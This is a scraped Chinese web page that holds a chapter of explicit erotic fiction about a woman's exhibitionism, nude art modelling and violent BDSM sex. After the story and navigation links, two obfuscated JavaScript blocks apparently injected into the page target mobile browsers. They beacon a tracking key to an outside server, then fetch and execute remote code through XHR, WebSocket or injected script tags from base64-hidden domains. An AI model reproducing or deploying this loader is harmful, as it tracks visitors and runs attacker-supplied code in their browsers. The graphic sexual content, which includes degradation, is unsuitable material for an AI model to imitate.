看来姑奶奶命不该绝啊,呵呵。我轻步走到电梯门口,快速点击了一下感应按钮。

我焦急的看了看数字灯,不多时,一侧的电梯门开了,我闪身进去。

进入电梯,我犹豫了一下,是下两层,还是直接到底,这才第11层啊,奶奶的,豁出去了,我直接按到了数字3,然后飞快的按了一下关门按钮。

啊,电梯里面真有摄像头啊。我把身体靠在电梯一侧壁上,尽量低下头。

看着慢慢变动递减的数字,好像蜗牛一样慢,时间也仿佛那样漫长。电梯间里面静的只能听见我扑通扑通我的心跳声。

正当我十分紧张的时候,在到5楼的时候,电梯突然减速。我暗叫不妙,这下糗大了,我脑子里面飞速的转着。

如果进来一个男人怎么办,进来一个女人怎么办,不止一个男人我又该怎么办,我该怎样面对别人的质疑那,如果要是有小朋友就更糟了,我简直是个倒霉的暴露狂,真是后悔刚才不该跟天羽打赌。我脑子里面飞速的盘算着怎样应付眼前马上要出现的尴尬局面……电梯门开了,门口竟没有人,我吓得出了一身冷汗。我刚回过神,突然听见,妈妈,电梯到了,你快点啊。我给你叫住电梯了。我把身体紧紧靠着按钮的内侧,心就要跳出了嗓子眼,这下真得完了…小宝,别急,妈妈忘了件东西,你过来一下,帮妈妈找找吧。

小朋友的脚步声离电梯越来越远。

我的心从嗓子眼又掉回了肚子。赶紧去按关门按钮。

还好,还好,我用手扶住胸口,以抑制心跳过速。这不是玩人那吗。

终于到了三层,我从电梯门门出头,真巧,这层现在也没人。我正打量着周围的情况,突然有东西夹了一下我赤裸的臀部……我有点神经质的回头看了一下,晕,原来是电梯门限时关门时夹了一下我的赤裸的臀部,还真有点疼哦。

我转到拐角电梯不远的拐角处,正要往里面走,想去尽头的处的窗台上拿衣服。却看见一个男服务员推着一辆装有酒店用品的小车,正在低着头整理着车上的毛巾和洗浴类的物品。我看了一下手机,已经过了19分钟了。这时后面的电梯也传来声音,好像随时有人会到这个楼层来,我心如乱麻。

正当我思前想后左右为难之际,一股背水一战的奇异念头突然生出来,我只稍稍稳定了一下情绪,然后迈着从容悠然的步伐,踱着水晶高跟鞋向走廊的尽处走去。不多时,那个男清扫员便从余光看到了我,他头侧过来,一脸愕然。好像石雕一般,只是呆呆得看着我向他走来,似乎不敢相信自己的眼睛。一丝不挂的美女正像自己走近?

面对我彰显从容的优美曲线,他甚至惊讶得没有发出一声感慨的声音来。揉了一下眼睛后,只是张着嘴,吃惊的望着我,下巴像是脱臼了一样,眼球随着我的身体。贪婪地打量着我的骄傲的胸部。当我从他身边走过时,我听见他的嘴里好像,支吾着想表达什么,却因为过度的吃惊和兴奋,而语无伦次:

小,你,姐……我踩着水晶高跟鞋,在优美的步态中,两粒浑圆楚翘的臀半球在空气中,完美地如钟摆一样左右来回的画着标准的弧线。这样的背影我想他一定也是第一次看到。

我猜测他仍然吃惊的望着我,直到我从窗台拿起天羽放在那里的衣服。才听到他开口说:

小,小姐,天,天气凉,多穿些。

半大的风衣再次被我画出优美的弧线,从容批穿在自己的身上,然后慢慢地转过身微笑地向他走来,看得他有点发慌,路过他身边时,我丢下两个字:谢谢。

只留下他在走廊里面发呆。

我拐到另一侧走廊,我敲开了天羽的房门,一脸温怒地说道:坏小子,你输了……天羽在笑,是那种坏笑,而且一直笑,就像今天刚才在浴室看着我的样子时的表情。他总是这样,让我苦笑不得。我的思绪转回到了这个时空。

我的身体和情感发生过什么我还不得而知,但从那段回忆当中我得到一个线索,就是在生人面前暴露身体,对我来说,并不是一件让人畏惧的事情,反而有些享受其中的成分,莫非我曾经在别人面前堂而皇之地暴露过自己的身体?不然怎会敢轻易在男打扫员面前赤裸身子那。

天羽,还没洗完,我走出浴室。换上天羽从北美给我买来的胶质情趣内衣……这种光滑的材质就像你的另一层皮肤,只是更加妖艳。修长的红色手套反差出手臂皮肤的白皙,红黑相间图案的束腰有点凡尔赛女郎的风格复古,我用了些力气,拉紧束腰的系线,镜子中自己的腰身变得夸张的纤细,吊带和谐地把腿部的胶质和身体连为一个艺术整体体,搭配上水晶高跟鞋,这一切都为性感女人更增添了一分妖娆与治艳的,还有我喜欢的虐恋项圈,更增加了我身上淫靡的性感。

我一直认为在有些环境中女人是需要些修饰的野性美感的。但这种美感是有取向的,因为天羽喜欢。

当然这并不妨碍我天生丽质。

天羽走了出来,他看到我的样子以后,开始变得欲火燃燃。

我甚至可以感受到他身上所流露出的强大的征服气息。

他逐渐开始变得邪恶,面目可怖。我被黑布蒙去视线,只是感觉,游走的手,和蛮力的舌。我的乳房在挤压下变成不规则的弧线多边型,乳蒂处传来地痛感夹在快感当中阵阵袭来。

我像困兽一般闷吼着,被燃烧在熊熊的欲火当中,变得逐渐体无完肤。他把我的双臂粗暴地扭向后面,用最原始的方式从后面进入了我的身体,长发被兀然拉起时,我身不由己的颤抖着感受他的疯狂,臀部的肌肤已经在上帝的拍打中变得通红,当他把一只脚践踏在我贴着地面的左面颊上时,滑落的黑布使我的余光可以瞥见他脸上的凌虐态和满足感,我听到婊子的称谓在他的牙齿缝隙中低吼出来……当我沉醉在进进出出的快感中时,又被猛地拉起发梢,被推搡着来到阳台的玻璃窗前,我的面颊和乳房被玻璃窗面挤压成更加平坦的形状,我蓦然看见对面楼层的灯光中有人影的晃动,立时一股电流袭脑,体腔变得更加湿润了,我毫无顾忌地大声咆哮着,生怕周围的人听不到我快感的声音,身后则传来天羽小腹和我臀部撞击的声音。我在有人偷窥的观淫中到达了高潮,几乎昏厥过去……我喜欢这种被他征服和凌辱的感觉,这是救赎的徽惩还是本能的要求?我不知道,只是当他要掌控我时,我是那样地欣喜若狂……但,蛮力的吻已经伤不到经过轮回的我了。虽然我还没找不到时空那端的原因。

风雨逐渐散去,绿地的快乐是短暂的季节。

早上,我被询问是否打扫房间的电话吵醒,看了看表已经9点多了,太阳从未曾遮严的窗帘缝隙斜射进屋子里面,一屡光明,一屡我可以触及的光明。

天羽给我留了张纸条,说他去见一个客户,房间已经结算到晚上6点。让我可以在这休息一下。

我走进浴室,看着自己一身完美的曲线,惑从心来,这具漂亮的形骸是自己吗,她的暴露倾向由何而来那,我有点想不出来。

我叫了早餐。用过后,然后拿出皮包里面的日记本。

这里面应该有我需要的线索的,我心想着。

3月3日今天学生会干部又开碰头会了,再过两个月是校庆55周年,原本各社的活动都以为校庆献礼为主。最后我的最近工作内容是,由我出头,联络文学社团和美术社团,联合发起搞一个联合征稿活动,主要内容是各类诗歌作品,美术作品等等,分文学和非文学各几级奖衔。活动名称由团委方老师拟定:风雅浅辙-我从这里开始还蛮好听的。

为了鼓励大家的积极性,提高征稿质量,文学社团还请了一位报社的编辑做评委,美术社团请了一位兄弟院校西南美院的美术老师做评委,两位专业人士能够参与是我们非常高兴的事情,当然评委还有学校的老师和我们学生会的干部,比如我这个宣传部长,呵呵。

天羽最近也很忙,文学社图指派他负责征集文学类稿件,呵呵,这次是我下属。

3月5日征稿宣传已经写出来了,有同学询问是否可以投稿,人体写生或者人体摄影的作品。

问得我竟然有点吃惊,后来经与团委学校老师商议,这次活动人体写生可以投稿,但人体摄影还是暂时不可以投稿。

西南美院的老师今天也到了我们学校,跟大家见过面,听说这次学校请的外援的评委还花了些银子,所以人家也比较重视,来提前跟我们其他评委组沟通一下,并了解一下征稿的进度。第一次见到这个搞艺术的李巨坚老师,对他印象还不错,留着很长的头发,胡须却刮的很干净,剑眉,阔嘴。鼻子有点大,没有我们家天羽好看,呵呵。

见到我的第一面,虽然我和他多攀谈了几句,他竟然偷偷说我适合作写生模特,我瞪了他一眼,还好其他学生会的干部没听见,真把我羞坏了。

翻到这页,我看到李巨坚这三个字,心里有种说不出来的反感。直觉反应这个人在自己的记忆中应该不是个什么好角色。人体写生,这几个关键字也在我的脑海里面迅速的搜索着,好像有些模煳的片段印象,莫非我做过传说中的人体模特?不是吧,答案应该就快找到了……

4美神之惑

3月6日今天周末,天羽来宿舍约我,说过一阵可能工作回比较忙,作为补偿,今天请我去吃饭,并送我一件小礼物,令我好生欢喜,简直如获至宝。礼物是一件精致的水晶摆台,天羽说是前一阵去参加市图书馆的助残幼活动中,由于表现突出,市图书馆方面颁发了一些纪念的小礼品。今天礼品才拿到手,估计我可能会喜欢,就借花献佛。(想不到天羽这么善良,还做公益事业,而且还很了解我)水晶上面镌刻有一首词,是我最喜欢的婉约宗主李易安居士的作品:

浣溪沙(李清照)绣幕芙蓉一笑开斜偎宝鸭亲香腮眼波才动被人猜一面风情深有韵半笺娇恨寄幽怀月移花影约重来(注:宝鸭,发型。天羽还给我讲了很多关于易安居士生前的故事,一生三大磨难、在诗、词、文、赋等方面的成就、和历史学者对李的综合认定……)我斜靠在天羽的肩头听着他对我的娓娓道来。

一面风情深有韵,半笺娇恨寄幽怀。这是我最喜欢的两句。临走时天羽还告诉我他之所以欣赏李,还有她面对磨难不屈不挠的坚韧品质,希望如果我以后也经受磨难的时候,能坚强一些。我哪会有什么磨难啊,呵呵,拿着这件水晶摆抬,我都不知道把它放到哪里好,真怕别人不小心给弄坏了。

今天宿舍没有人,古燕和王灵都去了舞厅,小梅好像也有人约会。宿舍就剩下我和天羽,当我再一次在心爱的天羽面前轻解罗裳,裸露出自己美丽的身体时,天羽的眼神并不是像其他情侣间熟悉后的反应平平,而是仍然充满了对美的欣赏与陶醉,像观摩一件艺术品一样看着我,我从心理渴望得到天羽的关注,那种目光对我来说就像花儿沐浴在太阳的温暖之下。

天羽开始吻我,眼睛,鼻子、嘴唇并一路攻城掠地,从开始的陶醉的兴奋,我逐渐感受到一种来自神经末梢的齿印唇痕经过的酥麻,那简直是一种幸福的折磨,被控的无助,官能的一切感知尽在他人股掌之上的无奈,在能量的积累中,忍无可忍,直到折磨逐渐变作快感,撕咬啃噬的动作交叠在一起、融合、再折磨、爆发,然后归于平寂。剩下满足的心跳。

我再次把自己美丽的身体和高贵的灵魂献给我心爱的男人,虽然在身上留下了他粗暴的印迹,我是他的战利品。

天羽走时,温柔地说:我真是幸福的男人,好姑娘,你就是我的美神。

我心里一片陶醉。

我在窗台上养的盆花中的茉莉,最近开得尤为旺盛,让我很是喜欢。

3月20日今天一些征集稿已经上来,诗歌和散文的作品天羽他们文学社要走评分去了。

美术类的稿件还在我们宣传部放着,由我们和美术社团,一起评分,我们学校的美术社团不如文学社团人多,所以这部分工作还得宣传部配合一起做。这次的大范围征集的美术稿件中还真有几幅人体作品,不知道现在的学生为何对人体艺术这么感兴趣。

美院的李老师,今天又过来了,还带来了他的一些人体写生作品。让我们大开眼界。看着李老师笔下几幅生动的女人体作品,李老师说别带色情的眼光看待这些作品,这些女孩具有为艺术献身的勇气,而且还得具备这样出凡脱俗的美,才会有这样的效果,看得我的耳根竟有些燥热,李老师今天又说我适合作人体模特,想象自己站在很多学生面前光着身子给人作画,是件多么羞耻的事情啊。李老师还说我的整体线条都很美,腰围与臀部的比例,大腿和躯干的长度,都非常完美,说得我心里美滋滋的。

天羽最近忙的很,也没有理我。小梅处了一个男朋友,听说家里也是农村的,但人还不错。她还说今天萧可勇和古燕抄了一架,好像古燕还扬言要分手,说萧可勇根本不喜欢她。怎么会那?不喜欢为何还在一起啊。后来被王灵劝了一阵又和好了。我看萧可勇还是不错的一个男孩子,虽然有点内向。

3月27日李老师帮助我们做了一些美术作品的评分,还邀请我作为实习生参观一下他的人体写生课,当然他透露给我说美院一般人体写生课是不允许外来人员参加的。

下午两点的课程,我有些对人体模特的好奇,又有些心动,就答应了他,反正下午也没课。

来到美院的人体写生教室,学生们都认真的对着模特作画。我则混迹于学生中,站在台前模特皮肤真好,五官端庄,从容极了,就是腰围有点粗。我知道我的身体比她要好的,天羽曾在与我做爱时还打油诗糗我:

蜂腰肥臀,长腿动人;半球尤物,母性犹存。

我看着模特楚楚动人的摆着姿势,想象自己可能也有机会站在众人面前一丝不挂,我竟然有些兴奋。这种感觉怪怪的。回头我去洗手间时,发现自己的内裤竟然有点湿润。真是羞死人了。

3月28日今天天羽来宣传部找我,还有几个学生会的干部一起谈论这次征稿活动的事情。天羽坐在我旁边,其间提起有人以人体写生投递稿件的时候,天羽竟然偷偷跟我说要看看,散会后我满足了他的这点要求,其间我对他说,人家美院的老师还说我的身体条件符合做写生模特的要求,这可不是一般人都可以的。天羽竟然不信,还说我臭美。我赌气的跟他说那天我就去当人体模特去,他竟然挖苦我,真是气死我了。

窗台的茉莉正在失去花季。

4月5日今天下午没有事情,李老师说这几天下午都有人体写生课,我要是有兴趣可以去他那里做客的,正好我没事,下午就过去了。来这几次了,对于人体模特,我真有点跃跃欲试的想法,但是我怎么好意思跟李老师直接说那。

到了学校,看见一屋子的学生,李老师竟然在侧面的办公室里面打电话。我走过去问李老师怎么不去上课啊,李老师说今天本来约好一个人体模特来上课的,但是来学校的路上,被车撞了,虽然人生命安全,但是课程暂时来不了,另外一个备用的模特今天也有事情安排,这阵正愁模特那,要是再联系不上女人体模特就打算让学生先下课了。

突然,李老师看着我,打量着我的性感身材,我知道他心里想得是什么,但是如果我拒绝的话,他没有任何勉强我的可能。

李老师对我说是个很漂亮的女孩,又说我很有追求的,然后欲言又止的样子。

李老师,你不用说了,我明白你的意思,今天我来做你的人体模特。

话语一出,我自己都十分不相信自己刚才所说的话,不知这是把自己送上艺术的殿堂还是魔鬼的火坑。李老师的某些地方和天羽有些相像,只是他的眼中总是好像有一丝不可察觉的东西,也许是他经历有些沧桑了吧。

如果他直接提要求我会拒绝的,是吗,我问着自己。但不知为何还是像鬼迷心窍一样。也许我一直在等这个机会。

当我走到学生面前脱下刚刚更衣时换上的模特外衣时,我侧面看到很多学生的眼神都为之一震,beautifu,有些男生居然叫出声音来,按说他们天天看模特,不该这样的啊,还有一个男生竟然把画板碰掉了地上,不知怎会如此慌张。我心理的感觉复杂极了,但肯定有得意的成分,莫非我真的适合做人体模特。

不比那些专业的模特的素质差。

为了怕我害羞,按照李老师的安排,整个一堂课,我都背对学生,坐在一块天鹅绒台布上的圆形板凳上,只把自己的后背和臀部面对学生们。斜侧面有面原来没有搬走的道具镜子,我看见里面的我脸红得几乎能渗出血来……事后,李老师拿来给我一个他比较满意的学生的作品,让我看看效果,我几乎惊呆了,画中的我居然是那样的美丽动人。背部的线条被铅笔勾画的非常柔和,肌肉组织的美感让人叹为观止,真想不出,自己的背部也能这样漂亮。

纤细的腰身和丰满楚翘的臀部曲线形成巨大的反差,难怪天羽总说我臀部大,侧面看出我露出的一只半球状的乳房傲然地挺立在空气当中,修长的腿弯着着伸向侧面,腿部的线条也非常利落,既结实又不过分粗壮,面带娇羞的我眼神忧郁地侧望向远方,真是美极了。我都很惊叹画中的自己竟然这样的美丽。作品的标题是-美神的背影。

4月11日去老师那里客串了3次模特了,李老师说那个受伤的人体模特,再过一阵就能过来了,这样我就可以不用麻烦我了,说到这里我似乎还有一点失落,不过他说最近要参加一个市里的人体摄影比赛,模特还没有选定,虽然有其他人体模特找过他,但他却认为不是特别满意。言外之意不知我是否有兴趣来做人体摄影模特,本来失去做人体写生模特可能后,现在可以做人体摄影模特?我真的有些犹豫。是不是该这样继续下去,还是就此打住,摄影模特的舆论暴露风险应该比写生模特更大,在犹豫中,我还是答应了李老师。

想象自己赤裸着性感的身体用艺术的摄影视角给人欣赏,而且是很真实的摄影照片而非原来的素描写生,心理的感觉怪怪的,心跳地很快。即为自己的美丽为人所赞赏惊叹而窃喜,又为光天化日一个女孩子的大胆露出而害羞。不过我觉得自己在为艺术而献身。

周末李老师请我去他的画室,本来约好和天羽,把一切都告诉他的。哎,开始错过了比较好的时间,现在却越走越远,告诉他真怕他从此不理我了。等从李老师那里回来一定告诉天羽我最近的经历,我相信他会支持我的。

日记写到这里,我猜测自己可能已经走上了一条不能回头的路,即为自己青春的勇敢而叫好,又为自己可能误信歹人谎言的可能而担心。我真的当了传说中的人体摄影模特吗?

时间过得蛮快,一转眼到了下午,日头转弱,一直靠在床上的我,脖子有些酸痛,电视也没什么好的节目,酒店的床再舒适也还是不如家里的,我收拾好东西,回到了家中。

天羽好像回来过,电脑的鼠标之前不是这样的。有用过的痕迹。我打开电脑,看了一下浏览器里面的链接,竟然有一个中文论坛,应该是天羽访问过的吧,借着他访问用的cooki,我进去看了一些页面,里面的栏目林林总总很全面地包括了各种人文的非人文的取好。

天羽登录的用户名是黑色换鱼者,有趣的名字,为什么是黑色,难道他想表达思想的黑暗?谁是他的鱼那,我吗?都没有答案,我的好奇淹没在臆测中。

我先查看了一下天羽访问的帖子,有一篇《暴露狂的养成》:大概情节是一个妇人怎样由一个懵懂未知的少女后来怎样演变为一个喜欢暴露自己身体,并享受其中的过程,主人公年轻时也曾有过喜欢漂亮衣衫,性感服饰,和在一次意外中被险些强暴的经历,主人公非但没有引以为戒,从此洗心革面。反而在后来的岁月里面更加开放了自己的性态度,以此为生活的情趣,还在一些场景拍摄裸照放到自拍论坛上,其中细腻的心理描写让人倍感真实。

难道天羽经常看这类文章?难道就是在看过这类文章后,使天羽有心把我培养的越来越开放?还是还有其他原因那?

后面还有一段没有出处的引文跟帖:与施虐者相比,受虐者尤其有被人关注的强烈需求。在俱乐部或私人举办的晚会上,总是由“奴隶”们作展示和表演。

在所有的人当中,相比之下,他们总是穿得最暴露的人,因此也是吸引最多目光的人;在上者却很少成为注意的中心。在受虐性格中,依赖性就表现为不能容忍在自己和伴侣之间的任何一点疏远和距离。虐恋者希望引起自己所爱之人的关注,哪怕这种关注是受折磨也在所不惜。

这个引文还是让我有点看不太懂,出来的有点突兀,不知跟前面的故事联系多少,而且说得有些生涩。突然我有一个莫名的念头:这段引文和我日记后面发生的事情会有什么联系吗?这种想法很无序,只是对过往的一切,我有太多的疑惑,难怪幻想连连了。

我查看了一些天羽发的一些帖子,一组照片吸引住了我的注意力,图片是sm风格的照片,从不同角度,拍摄的一个丰乳肥臀、赤身裸体的被束蒙面艳妇。

照片上的她带着胶皮头套,只露出眼睛和和带着衔口球的嘴巴,四面的细锁链控制着她的身体,前面上方两条用终端的铁卡子夹住了女人丰满乳房的奶头,前面下面两条终端皮镣铐锁住了穿着水晶高跟睡鞋的一双玉足;后面上面两条用终端皮镣铐锁住了女人的纤纤双手,丰满的臀部后面用铁卡子连着最后两条锁链,在后面的一张图片上,我看到铁链的尽头是铁卡子卡在女人的阴唇上的。

女人的身体向前挺胸,向后翘臀,在超高跟水晶鞋和锁链的合力作用下不可思议地摆出夸张的s形状,曲线性感已极。

穿过衔口球的空隙,有一些口水顺着女人的胸前垂直流过,湿润了女人的下体,在背后女人的菊花处,好像还有闪闪发亮的东西,好像是小型的括肛按摩棒,大部分淹没在肛腔中,只把精致闪亮的顶端露出一点,就像一颗嵌入人体的半大钻石璀璨诱人。

图片整体有ps处理过的痕迹,看不清男人的面目和周围的背景,似乎一切都在梦境当中,女人的身体部分有些有点朦胧,但眼神却表现出一种种迷离而无助的神情,这种虐恋的气氛让人感受到一种莫以言状的兴奋。

那个女人是我吗?这是我的下意识第一反应?我不仅暗自思量,也许自己真得是受虐狂?可是在近一年的几个月里面,我根本不记得自己拍过这样一组照片啊。这只是第一组照片,第二组的文件不知


上一篇:偷窥妻子

下一篇:情惑欲惑


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};